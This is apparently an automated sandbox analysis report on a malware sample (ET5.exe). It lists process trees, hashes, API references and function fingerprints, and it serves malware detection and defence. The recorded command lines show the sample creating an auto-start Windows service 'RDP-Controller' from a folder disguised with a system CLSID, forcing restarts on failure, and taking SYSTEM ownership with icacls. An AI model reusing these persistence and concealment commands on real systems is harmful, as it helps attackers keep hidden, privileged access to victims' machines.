Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:20:03
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:20:03
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore
Imagebase:	0x7ff6a47f0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:20:03
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:20:03
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe failure RDP-Controller reset= 1 actions= restart/10000
Imagebase:	0x7ff6a47f0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:20:03
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:20:04
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe start RDP-Controller
Imagebase:	0x7ff6a47f0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:20:04
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:20:04
Start date:	06/12/2024
Path:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Imagebase:	0x7ff708870000
File size:	89'088 bytes
MD5 hash:	BB070CFBD23A7BC6F2A0F8F6D167D207
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	08:20:04
Start date:	06/12/2024
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18
Imagebase:	0x7ff633a60000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:20:04
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:20:05
Start date:	06/12/2024
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl
Imagebase:	0x7ff633a60000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:20:05
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 03799CFA Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0379A057
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0379A05D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0379A063

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 5cd11c8f57aefbf4e978efb23c97d87aadef05c6180bfc30900a697b6c4ed259
Instruction ID: 5b2243202d5e566461d5fbed7110e199a2849eb2277140a5f62800f3835d84d4
Opcode Fuzzy Hash: 5cd11c8f57aefbf4e978efb23c97d87aadef05c6180bfc30900a697b6c4ed259
Instruction Fuzzy Hash: B2B18C31918B4C8FEB54EF28D884AAEB7E1FBA9350F50571AE84AD7261DB709481CB41

Function 0379CDAA Relevance: 3.3, APIs: 2, Instructions: 338COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0379D0EF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0379D0F5

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 94a887f789ff5ddcb093f0301a886daf5772482d6b96eb020e294c1a36146a2d
Instruction ID: 849270cd903e11ba50313bb6ff63fc142532a242f3381eb637cafe78e3bccd8d
Opcode Fuzzy Hash: 94a887f789ff5ddcb093f0301a886daf5772482d6b96eb020e294c1a36146a2d
Instruction Fuzzy Hash: EEA18E31928F4C8BEB55EF2CD885AEAB7E1FB99350F10471BA48AD7254DB309481CB81

Function 03794B4E Relevance: 1.8, APIs: 1, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d789b65366662fea0c61f3f853abc17da2fc7c830dcada29da3dc287b9a8088
Instruction ID: 89432631aee4fa57be4ad17c8898a962dce36ae4476e8019e724e2eec1a51f5e
Opcode Fuzzy Hash: 6d789b65366662fea0c61f3f853abc17da2fc7c830dcada29da3dc287b9a8088
Instruction Fuzzy Hash: 71A1A331618E0C8FDF58EF2CD4856ADB3E1FBA9310B04475BD44AE7251DA30E942C785

Function 037AD122 Relevance: 1.8, APIs: 1, Instructions: 321COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 037AD371

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: bb3d50ccaa70714ca57f8e18558dc9f0eacc16d483a426df21245d113d691742
Instruction ID: 34a62447bac6d5d17ac034806a2ed91daef23cd4a74d163dd060057136a52881
Opcode Fuzzy Hash: bb3d50ccaa70714ca57f8e18558dc9f0eacc16d483a426df21245d113d691742
Instruction Fuzzy Hash: 38B16931510A4DCFDBA8DF1CC89AB56B7E1FF89304F198699E859CB6A1C335E852CB01

Function 03797F32 Relevance: .4, Instructions: 446COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e702905e188292895ab496ef014bc760e695e081b65edb76e1e23856c507ca6b
Instruction ID: a2103522eaea65e7469882be9645247a1c53fac815cd67594c9962243b14fff7
Opcode Fuzzy Hash: e702905e188292895ab496ef014bc760e695e081b65edb76e1e23856c507ca6b
Instruction Fuzzy Hash: 9FE1A431928B8C8BDB45DF28D8955BAB3E1FFA9300F44571FE486D7150EB74A644C782

Function 037A701E Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6c09f31ddc09bea78bddde318276c838f0745ed6150f3c305ccb77a5701def
Instruction ID: 31b84e6efe6952f1ea5b0c2603a94fbe20bdb0313339095f30e09b795ea51556
Opcode Fuzzy Hash: 9c6c09f31ddc09bea78bddde318276c838f0745ed6150f3c305ccb77a5701def
Instruction Fuzzy Hash: 9061F630A1CF9C4FDB2CEF6C984916ABBE5EBC8710F04475EE486C3155DA70A84286C2

Function 037A53EA Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8e9395568328c1374589bad5e4f24ab0974f60651a83110b5ffd51f4435af96
Instruction ID: b40649b03f322fe7bef30ba792f74956f7da107dcf08a903dafa136a23245788
Opcode Fuzzy Hash: a8e9395568328c1374589bad5e4f24ab0974f60651a83110b5ffd51f4435af96
Instruction Fuzzy Hash: F3510132718F0C8F9B1CEE6CD89857673D2E7ED321315832EE44AC7265DA74D8468781

Function 037960D2 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3bfdd2e48ad19d66b0e37b2c6738ec7b33e2acd157bee24fc1458e38cb5dc2f
Instruction ID: 70554fbcda37581e06cb30b0afbf9b97c41fe5d6b395e9821bba88da4c388b1f
Opcode Fuzzy Hash: b3bfdd2e48ad19d66b0e37b2c6738ec7b33e2acd157bee24fc1458e38cb5dc2f
Instruction Fuzzy Hash: 9E2195317126054BE70CCE2EC89A975B3D6F7D9209B58C77EE15BCB397C93668038A48

Function 03795B42 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 818b3c2bf741691b3b4d97ce965452ef50dff5a67fbb0249e4fef83404bb3482
Instruction ID: 31bb911d99e042f6a006ee6ac6f85039aa31dc22542bd2e71ff6b206c9639d8f
Opcode Fuzzy Hash: 818b3c2bf741691b3b4d97ce965452ef50dff5a67fbb0249e4fef83404bb3482
Instruction Fuzzy Hash: 3711E5323108048FEB4DCF3DD98966973D6EB89314B18C3BDD51ACB256D6358503CB44

Function 037A0D62 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 460COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 037A0DBF

Part of subcall function 037A3122: __GetUnwindTryBlock.LIBCMT ref: 037A3165
Part of subcall function 037A3122: __SetUnwindTryBlock.LIBVCRUNTIME ref: 037A318A

Is_bad_exception_allowed.LIBVCRUNTIME ref: 037A0E97
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 037A10E5
std::bad_alloc::bad_alloc.LIBCMT ref: 037A11F2

Strings

csm, xrefs: 037A0E40
csm, xrefs: 037A0DD9
csm, xrefs: 037A0EBA

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 108918def01c2ac3d9b7d3d29076d54d19053c4a9c7ba14f76529dd2783086c1
Instruction ID: de3a402ee781d7071d04989a85b963ff8bd4f4ced3d63258a56c3c7eedf12a46
Opcode Fuzzy Hash: 108918def01c2ac3d9b7d3d29076d54d19053c4a9c7ba14f76529dd2783086c1
Instruction Fuzzy Hash: 60E18F30A18F488FEB14EF6CD4896A9B7E1FB99311F54075ED489DB251DB34E881CB82

Function 037A1232 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 462COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 037A13D0
std::bad_alloc::bad_alloc.LIBCMT ref: 037A16F9

Strings

csm, xrefs: 037A13F7
csm, xrefs: 037A1379
csm, xrefs: 037A1317

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 44741fef4920e8016cbaa655631b12234c63bd922a043d493a0beaa3d2e65c1f
Instruction ID: 5bc358c4be1c66d258ad65314ac651bdd9b37d15cabd8208e8d7c7f8cb84c4b9
Opcode Fuzzy Hash: 44741fef4920e8016cbaa655631b12234c63bd922a043d493a0beaa3d2e65c1f
Instruction Fuzzy Hash: D4E1D334518F488FEB14EF2CC4896A9BBE1FB99315F54476ED495CB252DB30E482CB82

Function 037A0632 Relevance: 7.9, APIs: 5, Instructions: 439COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 037A0755
__AdjustPointer.LIBCMT ref: 037A07A0

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 85d2843c014daff7437528d10741e8f5ff4ca83c870dc17c53e8f2f83a3b4496
Instruction ID: cfbf12f527bc9b00bb0dc97332896bd348d40b27c9eadafeb69be762118c0214
Opcode Fuzzy Hash: 85d2843c014daff7437528d10741e8f5ff4ca83c870dc17c53e8f2f83a3b4496
Instruction Fuzzy Hash: AFC1C331518F4A8FEB29EF2C8098275F2D0FBD9711B584F6ED88AC7255EA70D88187C5

Function 0379A416 Relevance: 7.8, Strings: 6, Instructions: 289COMMON

Download Yara Rule

Strings

H, xrefs: 0379A6B4
P!`, xrefs: 0379A71E
`, xrefs: 0379A4B7
(, xrefs: 0379A6CA
, xrefs: 0379A676
2, xrefs: 0379A66B

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID:
String ID: $($2$H$P!`$`
API String ID: 0-2682688576
Opcode ID: f3333863e6a630afb4b2bbe1aa5c2ac1bf4f02da6f8d2e8a3d59ac9fb3e9e479
Instruction ID: 3b9192952ae38af187bf6f9928cbbdbb5e68def49d4e6c71d8bb705c7900018c
Opcode Fuzzy Hash: f3333863e6a630afb4b2bbe1aa5c2ac1bf4f02da6f8d2e8a3d59ac9fb3e9e479
Instruction Fuzzy Hash: 47C1F3B09087888FDBA5DF18D08879ABBE0FB99314F504A6ED8CDCB215DB705589CF46

Function 037A19A6 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 294COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 037A1A61

Strings

RCC, xrefs: 037A1A32
MOC, xrefs: 037A1A2A

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 444dbfe9f3f19db82e809d8395c94021d05aa1c46c0babb41f9330434da2b637
Instruction ID: c88b4faba35f6c157d90e4c320f8e3265a5a0865068b58f31d492ca44196628b
Opcode Fuzzy Hash: 444dbfe9f3f19db82e809d8395c94021d05aa1c46c0babb41f9330434da2b637
Instruction Fuzzy Hash: 42A19230918F488FDB18EF6CD485AADBBE0FB99304F54465EE489C7161DB74E581CB82

Function 037A006A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 037A0095
_IsNonwritableInCurrentImage.LIBCMT ref: 037A012C

Strings

csm, xrefs: 037A0113

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 30ef7e2d36ee2c66795a7b7596056c8c55a2b8efc71cae2e964df3408ffd0b69
Instruction ID: ca96c7b6efc5094d9f8239cd5a2b950cbc09c3ceeba2b4e7fd72d59bdd3c2a26
Opcode Fuzzy Hash: 30ef7e2d36ee2c66795a7b7596056c8c55a2b8efc71cae2e964df3408ffd0b69
Instruction Fuzzy Hash: 3B61D93061CF088BDF28EE5CD885A7873D5FBD4350F14466DE88AC7296EA74E8518785

Function 037A1736 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 233COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 037A17E1

Strings

RCC, xrefs: 037A17B1
MOC, xrefs: 037A17A9

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 6ef9112c19f78de0e2e0f52c9465fb91f3cc3b7f319b326a9b0bcdb3e32a35b8
Instruction ID: 559ef601f104b503caa2b7adeb208343d46ba0b14e84d65d03ec1c60736d1c30
Opcode Fuzzy Hash: 6ef9112c19f78de0e2e0f52c9465fb91f3cc3b7f319b326a9b0bcdb3e32a35b8
Instruction Fuzzy Hash: B7718F3051CB888FE728DF1CD4467AAB7E0FBD9315F444A5ED489C7211DB74A581CB86

Function 037A27F6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 037A28A0
_CreateFrameInfo.LIBVCRUNTIME ref: 037A28C9

Strings

csm, xrefs: 037A29C9

Memory Dump Source

Source File: 00000000.00000002.2049758717.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3790000_ET5.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 06c119407accd39f8435343144e30bf6358969287a5cf68c59ee8460d9e456f2
Instruction ID: 014f743bf73b81bd3d3f9b2070f152921b6be6ff29ec9f0127d546f038419668
Opcode Fuzzy Hash: 06c119407accd39f8435343144e30bf6358969287a5cf68c59ee8460d9e456f2
Instruction Fuzzy Hash: 1E5153B4518F489FD764EF2CC48966A77E1FBD9351F100A5EE489CB261DB30E842CB86

Analysis Process: ET5.exePID: 6300, Parent PID: 564COMMON

Execution Graph

Execution Coverage:	59.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	11
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 037901B0 Relevance: 9.3, APIs: 6, Instructions: 317
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 03790215
VirtualProtect.KERNELBASE ref: 03790301
VirtualFree.KERNELBASE ref: 03790332
VirtualFree.KERNELBASE ref: 03790358
VirtualAlloc.KERNELBASE ref: 0379037B
VirtualProtect.KERNELBASE ref: 0379051B

Memory Dump Source

Source File: 00000002.00000002.4538050567.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3790000_ET5.jbxd

Similarity

API ID: Virtual$AllocFreeProtect
String ID:
API String ID: 267585107-0
Opcode ID: d4c2a8ca2ad52b1407480866e6e93688b0dc4b0e284f3aa7e09f2a5729c8ff95
Instruction ID: f70d0e35a3ca11c78b8ec2d118b4b07814ac6a47d64dbaa01e540a907b5d02f0
Opcode Fuzzy Hash: d4c2a8ca2ad52b1407480866e6e93688b0dc4b0e284f3aa7e09f2a5729c8ff95
Instruction Fuzzy Hash: FFC1C874218A48CFDB84EF5CD498B6AB7E1FB98305F51495DF48AC7261DBB4E881CB02

Function 03790620 Relevance: 1.3, APIs: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0379063A

Memory Dump Source

Source File: 00000002.00000002.4538050567.0000000003790000.00000040.00001000.00020000.00000000.sdmp, Offset: 03790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3790000_ET5.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d93f75fe62b5d066bb1a3d92e36f140eac5fcecea37a8835d89b2688be319dec
Instruction ID: 42c62d54d1ca80df244572d2250d49a4e48d2af1a4e11cc88891e319d730dc5d
Opcode Fuzzy Hash: d93f75fe62b5d066bb1a3d92e36f140eac5fcecea37a8835d89b2688be319dec
Instruction Fuzzy Hash: C7C08C3060A2004BDB0C6B38D8A9B1B3AE0FB8C300FA0552DF18BC2290C97EC4828786

Analysis Process: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exePID: 6128, Parent PID: 6300COMMON

Executed Functions

Function 00007FF6FF5912FD Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2415672602.00007FF6FF591000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF6FF590000, based on PE: true

Associated: 0000000A.00000002.2415655400.00007FF6FF590000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2415695777.00007FF6FF5A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2415695777.00007FF6FFB9C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2416498820.00007FF6FFFB5000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2416517866.00007FF6FFFBD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2416517866.00007FF6FFFBF000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2416545688.00007FF6FFFC0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2416559793.00007FF6FFFC3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff6ff590000_j5ql5xzpbrfk9lvkq57d8xjw55zyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d92b2e36e32e242d3d26627d8420fc34f18325cbf1fffa5b1655a556a0966707
Instruction ID: 79c0f110f6bf1083f8b210ff18d7cf7340614008fbcac5aeb2186e8d48481e63
Opcode Fuzzy Hash: d92b2e36e32e242d3d26627d8420fc34f18325cbf1fffa5b1655a556a0966707
Instruction Fuzzy Hash: BCB012B4E0524294E7082F01D88225C3720AB14B00F810530C93C433DADE7C50424710

Analysis Process: hstmhco83f64lehv4q0wbzqj3o.exePID: 5760, Parent PID: 6300COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.1%
Total number of Nodes:	1714
Total number of Limit Nodes:	10

Executed Functions

Function 00007FF7048945D5 Relevance: 72.0, APIs: 24, Strings: 17, Instructions: 298
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.MSVCRT ref: 00007FF70489461A
fseek.MSVCRT ref: 00007FF704894639
_errno.MSVCRT ref: 00007FF70489464D
_errno.MSVCRT ref: 00007FF704894668
_errno.MSVCRT ref: 00007FF704894727

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

_errno.MSVCRT ref: 00007FF704894742
_errno.MSVCRT ref: 00007FF70489478F
fclose.MSVCRT ref: 00007FF704894B30

Strings

[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d), xrefs: 00007FF704894957
mem_alloc, xrefs: 00007FF7048949F4
(path != NULL), xrefs: 00007FF704894696
(buf_sz != NULL), xrefs: 00007FF7048946C9
[I] (%s) -> Done(path=%s,buf_sz=%llu), xrefs: 00007FF704894BAF
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF70489468F, 00007FF7048946C2, 00007FF7048946F5
[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld), xrefs: 00007FF704894AE1
(((*buf) == NULL) || ((*buf_sz) > 0)), xrefs: 00007FF7048946FC
fs_file_read, xrefs: 00007FF704894655, 00007FF70489469D, 00007FF7048946D0, 00007FF704894703, 00007FF70489472F, 00007FF70489483A, 00007FF704894950, 00007FF704894A1B, 00007FF704894ADA, 00007FF704894B65, 00007FF704894BA8
[E] (%s) -> fread failed(path=%s,errno=%d), xrefs: 00007FF704894A22
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7048949FB
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C
[E] (%s) -> ftell failed(path=%s,errno=%d), xrefs: 00007FF704894841
[E] (%s) -> fopen failed(path=%s,errno=%d), xrefs: 00007FF704894736
[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d), xrefs: 00007FF70489465C
NULL, xrefs: 00007FF704894B99
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048946A4, 00007FF7048946D7, 00007FF70489470A

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
